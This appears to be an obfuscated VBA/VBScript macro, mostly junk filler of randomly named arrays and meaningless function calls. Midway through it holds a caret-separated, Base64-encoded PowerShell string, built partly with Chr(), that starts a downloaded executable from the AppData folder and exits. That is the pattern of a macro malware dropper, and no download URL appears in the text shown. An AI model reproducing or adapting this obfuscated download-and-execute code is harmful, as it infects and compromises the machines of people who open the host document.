VarType SUPaFuKUPyREisOSol
VarType ZoQYgEGenirApuQaBYOlAGU
Dim vAmOJOruQWANUvOnECafuGyg(4)
If "NySUgorUnYQOk" <> CStr("NySUgorUnYQOk2162") Then
   vAmOJOruQWANUvOnECafuGyg(0) = VarType(VarType(VarType("NySUgorUnYQOk")))
End If
vAmOJOruQWANUvOnECafuGyg(1) = CInt(CStr("#2162"))
VarType NySUgorUnYQOk
VarType vAmOJOruQWANUvOnECafuGyg
If LenB(vAmOJOruQWANUvOnECafuGyg(1)) > 10 Then
  vAmOJOruQWANUvOnECafuGyg(2) = Weekday(21629)
End If
vAmOJOruQWANUvOnECafuGyg(3) = VarType(vAmOJOruQWANUvOnECafuGyg)
If LenB(ZoQYgEGenirApuQaBYOlAGU(1)) > 11 Then
  ZoQYgEGenirApuQaBYOlAGU(2) = Weekday(65088)
End If
Dim NAksugYaIcbiigOmonuaY(4)
If "weNUqYawyvviwlIV" <> CStr("weNUqYawyvviwlIV3478") Then
   NAksugYaIcbiigOmonuaY(0) = VarType(VarType(VarType("weNUqYawyvviwlIV")))
End If
NAksugYaIcbiigOmonuaY(1) = CInt(CStr("#3478"))
VarType weNUqYawyvviwlIV
VarType NAksugYaIcbiigOmonuaY
If LenB(NAksugYaIcbiigOmonuaY(1)) > 10 Then
  NAksugYaIcbiigOmonuaY(2) = Weekday(34784)
End If
NAksugYaIcbiigOmonuaY(3) = VarType(NAksugYaIcbiigOmonuaY)
ZoQYgEGenirApuQaBYOlAGU(3) = VarType(ZoQYgEGenirApuQaBYOlAGU)

Dim tEDofimACaWoNEPYfUJANlitECASIHiDYvaL(4)
If "JETuZyqEJygEcOFOAwYX" <> CStr("JETuZyqEJygEcOFOAwYX9672") Then
   tEDofimACaWoNEPYfUJANlitECASIHiDYvaL(0) = VarType(VarType(VarType("JETuZyqEJygEcOFOAwYX")))
End If
tEDofimACaWoNEPYfUJANlitECASIHiDYvaL(1) = CInt(CStr("#9672"))
VarType JETuZyqEJygEcOFOAwYX
VarType tEDofimACaWoNEPYfUJANlitECASIHiDYvaL
If LenB(tEDofimACaWoNEPYfUJANlitECASIHiDYvaL(1)) > 13 Then
  tEDofimACaWoNEPYfUJANlitECASIHiDYvaL(2) = Weekday(96721)
End If
tEDofimACaWoNEPYfUJANlitECASIHiDYvaL(3) = VarType(tEDofimACaWoNEPYfUJANlitECASIHiDYvaL)
Dim jyjiQubxyqIdIJFeLiROveRoSyNOZilURAKu(4)
If "noqoMaZoMat" <> CStr("noqoMaZoMat4201") Then
   jyjiQubxyqIdIJFeLiROveRoSyNOZilURAKu(0) = VarType(VarType(VarType("noqoMaZoMat")))
End If
jyjiQubxyqIdIJFeLiROveRoSyNOZilURAKu(1) = CInt(CStr("#4201"))
VarType noqoMaZoMat
VarType jyjiQubxyqIdIJFeLiROveRoSyNOZilURAKu
If LenB(jyjiQubxyqIdIJFeLiROveRoSyNOZilURAKu(1)) > 13 Then
  jyjiQubxyqIdIJFeLiROveRoSyNOZilURAKu(2) = Weekday(42017)
End If
jyjiQubxyqIdIJFeLiROveRoSyNOZilURAKu(3) = VarType(jyjiQubxyqIdIJFeLiROveRoSyNOZilURAKu)
Dim iEjYkaLADorAfITEViNcazYSuZYHSOBduyVADUV(4)
If "wigAqiNyzmiSAKOnOmEno" <> CStr("wigAqiNyzmiSAKOnOmEno9996") Then
   iEjYkaLADorAfITEViNcazYSuZYHSOBduyVADUV(0) = VarType(VarType(VarType("wigAqiNyzmiSAKOnOmEno")))
Dim cIRevETEFYHUDACoWIKOiiliHYwAlyvIRyJEP(4)
If "jEHoGyWULxyF" <> CStr("jEHoGyWULxyF6903") Then
   cIRevETEFYHUDACoWIKOiiliHYwAlyvIRyJEP(0) = VarType(VarType(VarType("jEHoGyWULxyF")))
End If
cIRevETEFYHUDACoWIKOiiliHYwAlyvIRyJEP(1) = CInt(CStr("#6903"))
VarType jEHoGyWULxyF
VarType cIRevETEFYHUDACoWIKOiiliHYwAlyvIRyJEP
If LenB(cIRevETEFYHUDACoWIKOiiliHYwAlyvIRyJEP(1)) > 12 Then
  cIRevETEFYHUDACoWIKOiiliHYwAlyvIRyJEP(2) = Weekday(69032)
End If
cIRevETEFYHUDACoWIKOiiliHYwAlyvIRyJEP(3) = VarType(cIRevETEFYHUDACoWIKOiiliHYwAlyvIRyJEP)
Dim iAHOaDYpicaKEbulINViZYFadulYARoCYRebIqe(4)
If "XICiduHayaaVavOQoS" <> CStr("XICiduHayaaVavOQoS4718") Then
   iAHOaDYpicaKEbulINViZYFadulYARoCYRebIqe(0) = VarType(VarType(VarType("XICiduHayaaVavOQoS")))
End If
iAHOaDYpicaKEbulINViZYFadulYARoCYRebIqe(1) = CInt(CStr("#4718"))
VarType XICiduHayaaVavOQoS
VarType iAHOaDYpicaKEbulINViZYFadulYARoCYRebIqe
If LenB(iAHOaDYpicaKEbulINViZYFadulYARoCYRebIqe(1)) > 13 Then
  iAHOaDYpicaKEbulINViZYFadulYARoCYRebIqe(2) = Weekday(47185)
End If
iAHOaDYpicaKEbulINViZYFadulYARoCYRebIqe(3) = VarType(iAHOaDYpicaKEbulINViZYFadulYARoCYRebIqe)
End If
Dim zOViNeKAjiRARUxItYrJUvisuVOFebOGibyL(4)
If "fyFeGeqAcUTImOQOREzUML" <> CStr("fyFeGeqAcUTImOQOREzUML2017") Then
   zOViNeKAjiRARUxItYrJUvisuVOFebOGibyL(0) = VarType(VarType(VarType("fyFeGeqAcUTImOQOREzUML")))
End If
zOViNeKAjiRARUxItYrJUvisuVOFebOGibyL(1) = CInt(CStr("#2017"))
VarType fyFeGeqAcUTImOQOREzUML
VarType zOViNeKAjiRARUxItYrJUvisuVOFebOGibyL
If LenB(zOViNeKAjiRARUxItYrJUvisuVOFebOGibyL(1)) > 12 Then
  zOViNeKAjiRARUxItYrJUvisuVOFebOGibyL(2) = Weekday(20175)
End If
zOViNeKAjiRARUxItYrJUvisuVOFebOGibyL(3) = VarType(zOViNeKAjiRARUxItYrJUvisuVOFebOGibyL)
Dim REpALUvEdiMyNAQbUcULeWoOhYgefUkeX(4)
If "JYpiSIrecASuXExuja" <> CStr("JYpiSIrecASuXExuja7377") Then
   REpALUvEdiMyNAQbUcULeWoOhYgefUkeX(0) = VarType(VarType(VarType("JYpiSIrecASuXExuja")))
End If
REpALUvEdiMyNAQbUcULeWoOhYgefUkeX(1) = CInt(CStr("#7377"))
VarType JYpiSIrecASuXExuja
VarType REpALUvEdiMyNAQbUcULeWoOhYgefUkeX
If LenB(REpALUvEdiMyNAQbUcULeWoOhYgefUkeX(1)) > 10 Then
  REpALUvEdiMyNAQbUcULeWoOhYgefUkeX(2) = Weekday(73777)
End If
REpALUvEdiMyNAQbUcULeWoOhYgefUkeX(3) = VarType(REpALUvEdiMyNAQbUcULeWoOhYgefUkeX)
iEjYkaLADorAfITEViNcazYSuZYHSOBduyVADUV(1) = CInt(CStr("#9996"))
Dim CuXziwiRANukRlyXYtYSUP(4)
If "RETeteqUZaxovesekIze" <> CStr("RETeteqUZaxovesekIze7780") Then
   CuXziwiRANukRlyXYtYSUP(0) = VarType(VarType(VarType("RETeteqUZaxovesekIze")))
End If
CuXziwiRANukRlyXYtYSUP(1) = CInt(CStr("#7780"))
VarType RETeteqUZaxovesekIze
VarType CuXziwiRANukRlyXYtYSUP
If LenB(CuXziwiRANukRlyXYtYSUP(1)) > 13 Then
  CuXziwiRANukRlyXYtYSUP(2) = Weekday(77803)
End If
CuXziwiRANukRlyXYtYSUP(3) = VarType(CuXziwiRANukRlyXYtYSUP)
VarType wigAqiNyzmiSAKOnOmEno
VarType iEjYkaLADorAfITEViNcazYSuZYHSOBduyVADUV
Dim jFYCISIJHIQoDALykUsPOGiRYTiwYhUnpoMY(4)
If "zipeGowatUrE" <> CStr("zipeGowatUrE7323") Then
   jFYCISIJHIQoDALykUsPOGiRYTiwYhUnpoMY(0) = VarType(VarType(VarType("zipeGowatUrE")))
End If
jFYCISIJHIQoDALykUsPOGiRYTiwYhUnpoMY(1) = CInt(CStr("#7323"))
VarType zipeGowatUrE
VarType jFYCISIJHIQoDALykUsPOGiRYTiwYhUnpoMY
If LenB(jFYCISIJHIQoDALykUsPOGiRYTiwYhUnpoMY(1)) > 11 Then
  jFYCISIJHIQoDALykUsPOGiRYTiwYhUnpoMY(2) = Weekday(73235)
End If
jFYCISIJHIQoDALykUsPOGiRYTiwYhUnpoMY(3) = VarType(jFYCISIJHIQoDALykUsPOGiRYTiwYhUnpoMY)
If LenB(iEjYkaLADorAfITEViNcazYSuZYHSOBduyVADUV(1)) > 11 Then
Dim zyvyFACezaCicixrOLAJOdeRJYcesUSOj(4)
If "wUgeDicinuletobenI" <> CStr("wUgeDicinuletobenI1833") Then
   zyvyFACezaCicixrOLAJOdeRJYcesUSOj(0) = VarType(VarType(VarType("wUgeDicinuletobenI")))
End If
zyvyFACezaCicixrOLAJOdeRJYcesUSOj(1) = CInt(CStr("#1833"))
VarType wUgeDicinuletobenI
VarType zyvyFACezaCicixrOLAJOdeRJYcesUSOj
If LenB(zyvyFACezaCicixrOLAJOdeRJYcesUSOj(1)) > 10 Then
  zyvyFACezaCicixrOLAJOdeRJYcesUSOj(2) = Weekday(18338)
End If
zyvyFACezaCicixrOLAJOdeRJYcesUSOj(3) = VarType(zyvyFACezaCicixrOLAJOdeRJYcesUSOj)
  iEjYkaLADorAfITEViNcazYSuZYHSOBduyVADUV(2) = Weekday(99964)
Dim qoDuwuwTolirUbUGaRObdoPXEzoduqyDyxUBAb(4)
If "DexOHOlePUhONEaINysHBo" <> CStr("DexOHOlePUhONEaINysHBo6236") Then
   qoDuwuwTolirUbUGaRObdoPXEzoduqyDyxUBAb(0) = VarType(VarType(VarType("DexOHOlePUhONEaINysHBo")))
End If
qoDuwuwTolirUbUGaRObdoPXEzoduqyDyxUBAb(1) = CInt(CStr("#6236"))
VarType DexOHOlePUhONEaINysHBo
VarType qoDuwuwTolirUbUGaRObdoPXEzoduqyDyxUBAb
If LenB(qoDuwuwTolirUbUGaRObdoPXEzoduqyDyxUBAb(1)) > 11 Then
  qoDuwuwTolirUbUGaRObdoPXEzoduqyDyxUBAb(2) = Weekday(62362)
End If
qoDuwuwTolirUbUGaRObdoPXEzoduqyDyxUBAb(3) = VarType(qoDuwuwTolirUbUGaRObdoPXEzoduqyDyxUBAb)
End If
iEjYkaLADorAfITEViNcazYSuZYHSOBduyVADUV(3) = VarType(iEjYkaLADorAfITEViNcazYSuZYHSOBduyVADUV)
Dim pOnKyqVUauWitItoFYpUSitagkDixelUFyiiZIi(4)
If "XEboZijuBIRuhiqDv" <> CStr("XEboZijuBIRuhiqDv882") Then
Dim QuKAJeQIXPdAfuaOSyVYBut(4)
If "sIwePotaiaHYxUxYDeT" <> CStr("sIwePotaiaHYxUxYDeT7077") Then
   QuKAJeQIXPdAfuaOSyVYBut(0) = VarType(VarType(VarType("sIwePotaiaHYxUxYDeT")))
End If
QuKAJeQIXPdAfuaOSyVYBut(1) = CInt(CStr("#7077"))
VarType sIwePotaiaHYxUxYDeT
VarType QuKAJeQIXPdAfuaOSyVYBut
If LenB(QuKAJeQIXPdAfuaOSyVYBut(1)) > 12 Then
  QuKAJeQIXPdAfuaOSyVYBut(2) = Weekday(70778)
End If
QuKAJeQIXPdAfuaOSyVYBut(3) = VarType(QuKAJeQIXPdAfuaOSyVYBut)
Dim kYJdotOsiCOkuaeGIWEvRynipYLANEQyRIFYqEc(4)
If "qYplYlylOwENeTExAQ" <> CStr("qYplYlylOwENeTExAQ8185") Then
   kYJdotOsiCOkuaeGIWEvRynipYLANEQyRIFYqEc(0) = VarType(VarType(VarType("qYplYlylOwENeTExAQ")))
End If
kYJdotOsiCOkuaeGIWEvRynipYLANEQyRIFYqEc(1) = CInt(CStr("#8185"))
VarType qYplYlylOwENeTExAQ
VarType kYJdotOsiCOkuaeGIWEvRynipYLANEQyRIFYqEc
If LenB(kYJdotOsiCOkuaeGIWEvRynipYLANEQyRIFYqEc(1)) > 11 Then
  kYJdotOsiCOkuaeGIWEvRynipYLANEQyRIFYqEc(2) = Weekday(81851)
End If
kYJdotOsiCOkuaeGIWEvRynipYLANEQyRIFYqEc(3) = VarType(kYJdotOsiCOkuaeGIWEvRynipYLANEQyRIFYqEc)
   pOnKyqVUauWitItoFYpUSitagkDixelUFyiiZIi(0) = VarType(VarType(VarType("XEboZijuBIRuhiqDv")))
Dim NaLUtYbuiEZyioSaliCOryRI(4)
If "rUZUzIJOdimSEnASYGiVtY" <> CStr("rUZUzIJOdimSEnASYGiVtY6452") Then
   NaLUtYbuiEZyioSaliCOryRI(0) = VarType(VarType(VarType("rUZUzIJOdimSEnASYGiVtY")))
End If
NaLUtYbuiEZyioSaliCOryRI(1) = CInt(CStr("#6452"))
VarType rUZUzIJOdimSEnASYGiVtY
VarType NaLUtYbuiEZyioSaliCOryRI
If LenB(NaLUtYbuiEZyioSaliCOryRI(1)) > 11 Then
  NaLUtYbuiEZyioSaliCOryRI(2) = Weekday(64525)
End If
NaLUtYbuiEZyioSaliCOryRI(3) = VarType(NaLUtYbuiEZyioSaliCOryRI)
End If
Dim JOGIHiGUcIMuTUzuFyQIniZyTu(4)
If "PYTEMEQIzyHyw" <> CStr("PYTEMEQIzyHyw5755") Then
   JOGIHiGUcIMuTUzuFyQIniZyTu(0) = VarType(VarType(VarType("PYTEMEQIzyHyw")))
End If
JOGIHiGUcIMuTUzuFyQIniZyTu(1) = CInt(CStr("#5755"))
VarType PYTEMEQIzyHyw
VarType JOGIHiGUcIMuTUzuFyQIniZyTu
If LenB(JOGIHiGUcIMuTUzuFyQIniZyTu(1)) > 10 Then
  JOGIHiGUcIMuTUzuFyQIniZyTu(2) = Weekday(57553)
End If
JOGIHiGUcIMuTUzuFyQIniZyTu(3) = VarType(JOGIHiGUcIMuTUzuFyQIniZyTu)
pOnKyqVUauWitItoFYpUSitagkDixelUFyiiZIi(1) = CInt(CStr("#882"))
Dim TGafeSotYbeFUsiXaxoTunuRazYnOseTeBAXZoja(4)
If "fudiBOniBOFIG" <> CStr("fudiBOniBOFIG5871") Then
   TGafeSotYbeFUsiXaxoTunuRazYnOseTeBAXZoja(0) = VarType(VarType(VarType("fudiBOniBOFIG")))
End If
TGafeSotYbeFUsiXaxoTunuRazYnOseTeBAXZoja(1) = CInt(CStr("#5871"))
VarType fudiBOniBOFIG
VarType TGafeSotYbeFUsiXaxoTunuRazYnOseTeBAXZoja
If LenB(TGafeSotYbeFUsiXaxoTunuRazYnOseTeBAXZoja(1)) > 13 Then
  TGafeSotYbeFUsiXaxoTunuRazYnOseTeBAXZoja(2) = Weekday(58714)
End If
TGafeSotYbeFUsiXaxoTunuRazYnOseTeBAXZoja(3) = VarType(TGafeSotYbeFUsiXaxoTunuRazYnOseTeBAXZoja)
VarType XEboZijuBIRuhiqDv
VarType pOnKyqVUauWitItoFYpUSitagkDixelUFyiiZIi
Dim caGiSasuVUSonoZOCagelYloiegDyfa(4)
If "QyHYPPiNuSiLuTyJuvYf" <> CStr("QyHYPPiNuSiLuTyJuvYf8354") Then
   caGiSasuVUSonoZOCagelYloiegDyfa(0) = VarType(VarType(VarType("QyHYPPiNuSiLuTyJuvYf")))
End If
caGiSasuVUSonoZOCagelYloiegDyfa(1) = CInt(CStr("#8354"))
VarType QyHYPPiNuSiLuTyJuvYf
VarType caGiSasuVUSonoZOCagelYloiegDyfa
If LenB(caGiSasuVUSonoZOCagelYloiegDyfa(1)) > 10 Then
  caGiSasuVUSonoZOCagelYloiegDyfa(2) = Weekday(83542)
End If
caGiSasuVUSonoZOCagelYloiegDyfa(3) = VarType(caGiSasuVUSonoZOCagelYloiegDyfa)
Dim QIcObuXygUXOQutiWaDiSifAfazyw(4)
If "fidwIjTeTIzaVAw" <> CStr("fidwIjTeTIzaVAw8107") Then
   QIcObuXygUXOQutiWaDiSifAfazyw(0) = VarType(VarType(VarType("fidwIjTeTIzaVAw")))
End If
QIcObuXygUXOQutiWaDiSifAfazyw(1) = CInt(CStr("#8107"))
VarType fidwIjTeTIzaVAw
VarType QIcObuXygUXOQutiWaDiSifAfazyw
If LenB(QIcObuXygUXOQutiWaDiSifAfazyw(1)) > 11 Then
  QIcObuXygUXOQutiWaDiSifAfazyw(2) = Weekday(81075)
End If
QIcObuXygUXOQutiWaDiSifAfazyw(3) = VarType(QIcObuXygUXOQutiWaDiSifAfazyw)
If LenB(pOnKyqVUauWitItoFYpUSitagkDixelUFyiiZIi(1)) > 12 Then
Dim tucIaIvexaFoKAslejoBuiIbeQo(4)
If "CiladESoporABABaS" <> CStr("CiladESoporABABaS3999") Then
   tucIaIvexaFoKAslejoBuiIbeQo(0) = VarType(VarType(VarType("CiladESoporABABaS")))
End If
tucIaIvexaFoKAslejoBuiIbeQo(1) = CInt(CStr("#3999"))
VarType CiladESoporABABaS
VarType tucIaIvexaFoKAslejoBuiIbeQo
If LenB(tucIaIvexaFoKAslejoBuiIbeQo(1)) > 11 Then
  tucIaIvexaFoKAslejoBuiIbeQo(2) = Weekday(39998)
End If
tucIaIvexaFoKAslejoBuiIbeQo(3) = VarType(tucIaIvexaFoKAslejoBuiIbeQo)
Dim buKAzAmaVeBOainAsebECEzEpodUDyRYgOcEBiiaOWY(4)
If "ceJITUkOHyio" <> CStr("ceJITUkOHyio7795") Then
   buKAzAmaVeBOainAsebECEzEpodUDyRYgOcEBiiaOWY(0) = VarType(VarType(VarType("ceJITUkOHyio")))
End If
buKAzAmaVeBOainAsebECEzEpodUDyRYgOcEBiiaOWY(1) = CInt(CStr("#7795"))
VarType ceJITUkOHyio
VarType buKAzAmaVeBOainAsebECEzEpodUDyRYgOcEBiiaOWY
If LenB(buKAzAmaVeBOainAsebECEzEpodUDyRYgOcEBiiaOWY(1)) > 11 Then
  buKAzAmaVeBOainAsebECEzEpodUDyRYgOcEBiiaOWY(2) = Weekday(77959)
End If
buKAzAmaVeBOainAsebECEzEpodUDyRYgOcEBiiaOWY(3) = VarType(buKAzAmaVeBOainAsebECEzEpodUDyRYgOcEBiiaOWY)
  pOnKyqVUauWitItoFYpUSitagkDixelUFyiiZIi(2) = Weekday(8828)
End If
pOnKyqVUauWitItoFYpUSitagkDixelUFyiiZIi(3) = VarType(pOnKyqVUauWitItoFYpUSitagkDixelUFyiiZIi)
JyaOHyqeDOTUhesyTikUKoGqYBEiihEVAnIGie = "^4^A^D^Y^A^M^w^A^u^A^G^U^A^e^A^B^l^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^" + Chr(100 + 10 + 5) + "^A^I^A^B^T^A^H^Q^A^Y^Q^B^y^A^H^Q^A^L^Q^B^Q^A^H^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^D^I^A^M^Q^A^2^A^D^Y^A^N^Q^A^x^A^D^g^A^M^Q^A^x^A^D^g^A^O^Q^A^4^A^D^Y^A^M^w^A^u^A^G^U^A^e^A^B^l^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^E^U^A^e^A^B^p^A^H^Q^A^"
Dim VIsUtidACENyXPEUXAFOWPAXLERuiyieBaBAweyTuj(4)
If "VOsadyPMEjUtImaQY" <> CStr("VOsadyPMEjUtImaQY7408") Then
   VIsUtidACENyXPEUXAFOWPAXLERuiyieBaBAweyTuj(0) = VarType(VarType(VarType("VOsadyPMEjUtImaQY")))
End If
VIsUtidACENyXPEUXAFOWPAXLERuiyieBaBAweyTuj(1) = CInt(CStr("#7408"))
VarType VOsadyPMEjUtImaQY
VarType VIsUtidACENyXPEUXAFOWPAXLERuiyieBaBAweyTuj
If LenB(VIsUtidACENyXPEUXAFOWPAXLERuiyieBaBAweyTuj(1)) > 11 Then
  VIsUtidACENyXPEUXAFOWPAXLERuiyieBaBAweyTuj(2) = Weekday(74087)
End If
VIsUtidACENyXPEUXAFOWPAXLERuiyieBaBAweyTuj(3) = VarType(VIsUtidACENyXPEUXAFOWPAXLERuiyieBaBAweyTuj)
Dim BYxUvAKRkUsarDUsOHmeBoTUXaVUFE(4)
Dim LuhowERwOTeRoWipmusoJeDOKunUquMeiUlelE(4)
If "XILOturECikOzYcewEa" <> CStr("XILOturECikOzYcewEa9216") Then
   LuhowERwOTeRoWipmusoJeDOKunUquMeiUlelE(0) = VarType(VarType(VarType("XILOturECikOzYcewEa")))
End If
LuhowERwOTeRoWipmusoJeDOKunUquMeiUlelE(1) = CInt(CStr("#9216"))
VarType XILOturECikOzYcewEa
VarType LuhowERwOTeRoWipmusoJeDOKunUquMeiUlelE
If LenB(LuhowERwOTeRoWipmusoJeDOKunUquMeiUlelE(1)) > 11 Then
  LuhowERwOTeRoWipmusoJeDOKunUquMeiUlelE(2) = Weekday(92166)
End If
LuhowERwOTeRoWipmusoJeDOKunUquMeiUlelE(3) = VarType(LuhowERwOTeRoWipmusoJeDOKunUquMeiUlelE)
If "WETInoKubAQaDaFADuiuR" <> CStr("WETInoKubAQaDaFADuiuR2365") Then
Dim RavyWYhUiUZOhaLIMuDUdZiaoLoxeEVywiLOXA(4)
If "kErIJIXipeFe" <> CStr("kErIJIXipeFe1177") Then
   RavyWYhUiUZOhaLIMuDUdZiaoLoxeEVywiLOXA(0) = VarType(VarType(VarType("kErIJIXipeFe")))
End If
RavyWYhUiUZOhaLIMuDUdZiaoLoxeEVywiLOXA(1) = CInt(CStr("#1177"))
VarType kErIJIXipeFe
VarType RavyWYhUiUZOhaLIMuDUdZiaoLoxeEVywiLOXA
If LenB(RavyWYhUiUZOhaLIMuDUdZiaoLoxeEVywiLOXA(1)) > 10 Then
  RavyWYhUiUZOhaLIMuDUdZiaoLoxeEVywiLOXA(2) = Weekday(11776)
End If
RavyWYhUiUZOhaLIMuDUdZiaoLoxeEVywiLOXA(3) = VarType(RavyWYhUiUZOhaLIMuDUdZiaoLoxeEVywiLOXA)
Dim LuSUvyhObycuqamEVykyLyBoXive(4)
If "tYxEMilOnadIwAtUKu" <> CStr("tYxEMilOnadIwAtUKu887") Then
   LuSUvyhObycuqamEVykyLyBoXive(0) = VarType(VarType(VarType("tYxEMilOnadIwAtUKu")))
End If
LuSUvyhObycuqamEVykyLyBoXive(1) = CInt(CStr("#887"))
VarType tYxEMilOnadIwAtUKu
VarType LuSUvyhObycuqamEVykyLyBoXive
If LenB(LuSUvyhObycuqamEVykyLyBoXive(1)) > 11 Then
  LuSUvyhObycuqamEVykyLyBoXive(2) = Weekday(8878)
End If
LuSUvyhObycuqamEVykyLyBoXive(3) = VarType(LuSUvyhObycuqamEVykyLyBoXive)
   BYxUvAKRkUsarDUsOHmeBoTUXaVUFE(0) = VarType(VarType(VarType("WETInoKubAQaDaFADuiuR")))
Dim rilurUpIfAwoiPaydIGaxeaaHeRaPha(4)
If "kEpUpUbOKiC" <> CStr("kEpUpUbOKiC7647") Then
   rilurUpIfAwoiPaydIGaxeaaHeRaPha(0) = VarType(VarType(VarType("kEpUpUbOKiC")))
End If
rilurUpIfAwoiPaydIGaxeaaHeRaPha(1) = CInt(CStr("#7647"))
VarType kEpUpUbOKiC
VarType rilurUpIfAwoiPaydIGaxeaaHeRaPha
If LenB(rilurUpIfAwoiPaydIGaxeaaHeRaPha(1)) > 11 Then
  rilurUpIfAwoiPaydIGaxeaaHeRaPha(2) = Weekday(76471)
End If
rilurUpIfAwoiPaydIGaxeaaHeRaPha(3) = VarType(rilurUpIfAwoiPaydIGaxeaaHeRaPha)
End If
Dim XUkowucUlinwaWAdiFUroSoQaloJiHAda(4)
If "FezOnYioBuZocydUxISOr" <> CStr("FezOnYioBuZocydUxISOr2452") Then
   XUkowucUlinwaWAdiFUroSoQaloJiHAda(0) = VarType(VarType(VarType("FezOnYioBuZocydUxISOr")))
End If
XUkowucUlinwaWAdiFUroSoQaloJiHAda(1) = CInt(CStr("#2452"))
VarType FezOnYioBuZocydUxISOr
VarType XUkowucUlinwaWAdiFUroSoQaloJiHAda
If LenB(XUkowucUlinwaWAdiFUroSoQaloJiHAda(1)) > 11 Then
  XUkowucUlinwaWAdiFUroSoQaloJiHAda(2) = Weekday(24523)
End If
XUkowucUlinwaWAdiFUroSoQaloJiHAda(3) = VarType(XUkowucUlinwaWAdiFUroSoQaloJiHAda)
Dim BAkyhECEJutixawAbeqOjoz(4)
If "VYSIqymyPoZyRdupyXU" <> CStr("VYSIqymyPoZyRdupyXU3107") Then
   BAkyhECEJutixawAbeqOjoz(0) = VarType(VarType(VarType("VYSIqymyPoZyRdupyXU")))
End If
BAkyhECEJutixawAbeqOjoz(1) = CInt(CStr("#3107"))
VarType VYSIqymyPoZyRdupyXU
VarType BAkyhECEJutixawAbeqOjoz
If LenB(BAkyhECEJutixawAbeqOjoz(1)) > 11 Then
  BAkyhECEJutixawAbeqOjoz(2) = Weekday(31073)
End If
BAkyhECEJutixawAbeqOjoz(3) = VarType(BAkyhECEJutixawAbeqOjoz)
BYxUvAKRkUsarDUsOHmeBoTUXaVUFE(1) = CInt(CStr("#2365"))
Dim tEcUWUAzEsADoimcoHMTmabIgmEZiXY(4)
If "hUQIzUVoGYPyDYTaqyaIzUS" <> CStr("hUQIzUVoGYPyDYTaqyaIzUS4697") Then
   tEcUWUAzEsADoimcoHMTmabIgmEZiXY(0) = VarType(VarType(VarType("hUQIzUVoGYPyDYTaqyaIzUS")))
End If
tEcUWUAzEsADoimcoHMTmabIgmEZiXY(1) = CInt(CStr("#4697"))
VarType hUQIzUVoGYPyDYTaqyaIzUS
VarType tEcUWUAzEsADoimcoHMTmabIgmEZiXY
If LenB(tEcUWUAzEsADoimcoHMTmabIgmEZiXY(1)) > 13 Then
  tEcUWUAzEsADoimcoHMTmabIgmEZiXY(2) = Weekday(46978)
End If
tEcUWUAzEsADoimcoHMTmabIgmEZiXY(3) = VarType(tEcUWUAzEsADoimcoHMTmabIgmEZiXY)
Dim ZofkuioiIREkYQUjyGeHVesYCEPyzaQurixiqHoRj(4)
If "UFyaYQAzaKJucomY" <> CStr("UFyaYQAzaKJucomY8072") Then
   ZofkuioiIREkYQUjyGeHVesYCEPyzaQurixiqHoRj(0) = VarType(VarType(VarType("UFyaYQAzaKJucomY")))
End If
ZofkuioiIREkYQUjyGeHVesYCEPyzaQurixiqHoRj(1) = CInt(CStr("#8072"))
VarType UFyaYQAzaKJucomY
VarType ZofkuioiIREkYQUjyGeHVesYCEPyzaQurixiqHoRj
If LenB(ZofkuioiIREkYQUjyGeHVesYCEPyzaQurixiqHoRj(1)) > 11 Then
  ZofkuioiIREkYQUjyGeHVesYCEPyzaQurixiqHoRj(2) = Weekday(80724)
End If
ZofkuioiIREkYQUjyGeHVesYCEPyzaQurixiqHoRj(3) = VarType(ZofkuioiIREkYQUjyGeHVesYCEPyzaQurixiqHoRj)
VarType WETInoKubAQaDaFADuiuR
VarType BYxUvAKRkUsarDUsOHmeBoTUXaVUFE
Dim rAHYMyFAHmINAMuVrunpUfaWONOpAwDYmYPO(4)
If "VUpupeGezAfetiQyHOZyt" <> CStr("VUpupeGezAfetiQyHOZyt4268") Then
   rAHYMyFAHmINAMuVrunpUfaWONOpAwDYmYPO(0) = VarType(VarType(VarType("VUpupeGezAfetiQyHOZyt")))
End If
rAHYMyFAHmINAMuVrunpUfaWONOpAwDYmYPO(1) = CInt(CStr("#4268"))
VarType VUpupeGezAfetiQyHOZyt
VarType rAHYMyFAHmINAMuVrunpUfaWONOpAwDYmYPO
If LenB(rAHYMyFAHmINAMuVrunpUfaWONOpAwDYmYPO(1)) > 11 Then
  rAHYMyFAHmINAMuVrunpUfaWONOpAwDYmYPO(2) = Weekday(42685)
End If
rAHYMyFAHmINAMuVrunpUfaWONOpAwDYmYPO(3) = VarType(rAHYMyFAHmINAMuVrunpUfaWONOpAwDYmYPO)
If LenB(BYxUvAKRkUsarDUsOHmeBoTUXaVUFE(1)) > 10 Then
  BYxUvAKRkUsarDUsOHmeBoTUXaVUFE(2) = Weekday(236510)
Dim aUZaaAfOvYBtYmAFaADuTocytumOD(4)
If "TOHugisUGYkaFOqo" <> CStr("TOHugisUGYkaFOqo6033") Then
   aUZaaAfOvYBtYmAFaADuTocytumOD(0) = VarType(VarType(VarType("TOHugisUGYkaFOqo")))
End If
aUZaaAfOvYBtYmAFaADuTocytumOD(1) = CInt(CStr("#6033"))
VarType TOHugisUGYkaFOqo
VarType aUZaaAfOvYBtYmAFaADuTocytumOD
If LenB(aUZaaAfOvYBtYmAFaADuTocytumOD(1)) > 12 Then
  aUZaaAfOvYBtYmAFaADuTocytumOD(2) = Weekday(60332)
End If
aUZaaAfOvYBtYmAFaADuTocytumOD(3) = VarType(aUZaaAfOvYBtYmAFaADuTocytumOD)
Dim JARyneZusOmeNYVGoFiheBahYmioTOcIKiX(4)
If "hoUBUSdii" <> CStr("hoUBUSdii7042") Then
   JARyneZusOmeNYVGoFiheBahYmioTOcIKiX(0) = VarType(VarType(VarType("hoUBUSdii")))
End If
JARyneZusOmeNYVGoFiheBahYmioTOcIKiX(1) = CInt(CStr("#7042"))
VarType hoUBUSdii
VarType JARyneZusOmeNYVGoFiheBahYmioTOcIKiX
If LenB(JARyneZusOmeNYVGoFiheBahYmioTOcIKiX(1)) > 11 Then
  JARyneZusOmeNYVGoFiheBahYmioTOcIKiX(2) = Weekday(70428)
End If
JARyneZusOmeNYVGoFiheBahYmioTOcIKiX(3) = VarType(JARyneZusOmeNYVGoFiheBahYmioTOcIKiX)
End If
BYxUvAKRkUsarDUsOHmeBoTUXaVUFE(3) = VarType(BYxUvAKRkUsarDUsOHmeBoTUXaVUFE)
Dim fAZPEsedYavEnINOjYwyz(4)
